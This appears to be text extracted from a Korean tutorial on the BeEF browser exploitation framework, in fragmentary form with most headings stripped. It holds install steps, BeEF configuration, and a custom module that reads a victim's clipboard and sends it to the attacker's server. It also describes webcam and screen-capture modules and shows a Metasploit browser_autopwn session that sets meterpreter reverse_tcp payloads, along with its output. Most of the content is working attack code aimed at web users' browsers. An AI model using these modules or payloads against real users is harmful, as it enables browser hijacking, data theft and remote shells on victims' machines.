1.... 3 2.... 3 (1)... 3 (2)... 5 3. BeEF... 7 (1) BeEF... 7 (2)... 8 (3) (Google Phishing)... 10 4. ( )... 13 (1)... 14 (2) Social Engineering... 17 (3)... 19 (4)... 21 5.... 22 (1)... 22 (2)... 27 (3) Tunneling... 28 (4) BeEF+ Metasploit... 30 (5) HTA powershell... 32 (6) BeEF Bindshell... 32 (7) Xss Rays... 32 6.... 33
# wget https://git-core.googlecode.com/files/git-1.9.0.tar.gz # tar -xvf git-1.9.0.tar.gz # cd git-1.9.0.tar.gz # make prefix=/usr all
# wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p125.tar.gz # tar -xvf ruby-*.tar.gz # cd ruby-* #./configure # make # make install # git clone http://github.com/beefproject/beef.git # gem install bundler 3 # bundle install #./beef -x 4 apt-get install libsqlite3-dev sqlite3 sqlite3-doc
http: debug: false host: "0.0.0.0" port: "3000" public: "8.7.6.5" dns: "localhost" panel_path: "/ui/panel" hook_file: "/hook.js" # BeEF verbose 5 # IP # # NAT # DNS # UI panel # hooking script hook_session_name: "BEEFHOOK" session_cookie_name: "BEEFSESSION" # # BeEF cookie
host: IP callback_host: IP msf_path {os : custom, path: } : # service postgresql start && service metasploit start # msfconsole ()
msf > load msgrpc ServerHost=192.168.0.15 Pass=abc123 [*] MSGRPC Service: 192.168.0.15:55552 [*] MSGRPC Username: msf [*] MSGRPC Password: abc123 [*] Successfully loaded plugin: msgrpc
attack-pc : Kali Linux 1.09 + BeEF victim-pc : Windows 7 + IE11 -> Kali Linux -> System Services ->BeEF -> beef start -> Kali Linux -> Exploitation Tools -> BeEF XSS framework -> beef
BeEF - webcam HTML5: HTML5의 WebRTC를 이용하여 웹캠으로 이미지를 읽어옴(크롬에서만 동작, 사용 자에게 허용 여부를 묻는 과정이 있음) - spyder eye: 사용자의 브라우저 화면을 캡쳐할 수 있는 모듈이다. 아래를 보면 사용자가 입력하는 값 까지 캡쳐되었음을 확인할 수 있다. 16/33
beef: module: spyder_eye: enable: true category: "Browser" // name: "Spyder Eye" // description: "This module takes a picture of the victim's browser window." // authors: ["preth00nker"] // target: // working: IE: // min_ver: 9 max_ver: latest FF: // min_ver: 3 max_ver: latest C: //
min_ver: 1 max_ver: latest S: // min_ver: 6 max_ver: latest O: // min_ver: 12 max_ver: latest not_working: ["All"] class < BeEF::Core::Command def self.options end //
def pre_send end // payload end def post_execute // end beef.net.send("<%= @command_url %>", <%= @command_id %>, ");
config.yaml beef: module: test_alert: //. enable: true category: ["Browser", "Hooked Domain"] // beef name: "TEST module user create" // beef description: alert " // authors: ["test", "man"] target: user_notify: ["All"] module.rb class Test_alert < BeEF::Core::Command // class() # set and return all options for this module def self.options return [{ 'name' => 'text', 'description' => 'Sends an alert dialog to the victim', 'type' => 'textarea', 'ui_label' => 'Alert text', 'value' => ':', // 'width' => '400px' }] end def post_execute content = {} content['user Response'] = "The user clicked the 'OK' button when presented with an alert box." save content end
end command.js beef.execute(function() { alert("<%== format_multiline(@text) %> +clipboarddata.getdata("text")); // <%== format_multiline(@text) %> : beef // clipboarddata.getdata( Text") : clipboard beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboarddata.getdata("text")); // beef });
var href=document.location.href; return href;
msf > set LHOST 192.168.0.15 LHOST => 192.168.0.15 msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > set LHOST 192.168.0.15 LHOST => 192.168.0.15 msf auxiliary(browser_autopwn) > set PAYLOAD_WIN32 windows/meterpreter/ reverse_tcp PAYLOAD_WIN32 => windows/meterpreter/reverse_tcp msf auxiliary(browser_autopwn) > set P set PAYLOAD_ANDROID set PAYLOAD_JAVA set PAYLOAD_MACOS set PROMPT set PROMPTTIMEFORMAT set PAYLOAD_GENERIC set PAYLOAD_LINUX set PAYLOAD_WIN32 set PROMPTCHAR msf auxiliary(browser_autopwn) > set PAYLOAD_JAVA java/meterpreter/ reverse_tcp PAYLOAD_JAVA => java/meterpreter/reverse_tcp msf auxiliary(browser_autopwn) > exploit [*] Auxiliary module execution completed [*] Setup [*] Obfuscating initial javascript 2015-02-13 18:12:58 +0900 msf auxiliary(browser_autopwn) > [*] Done in 1.206726479 seconds [*] Starting exploit modules on host 192.168.0.15... [*] Started reverse handler on 192.168.0.15:6666 [*] Starting the payload handler... [*] Started reverse handler on 192.168.0.15:7777 [*] Starting the payload handler... [*] --- Done, found 21 exploit modules [*] Using URL: http://0.0.0.0:8080/we1qim4
[*] Local IP: http://192.168.0.15:8080/we1qim4 [*] Server started.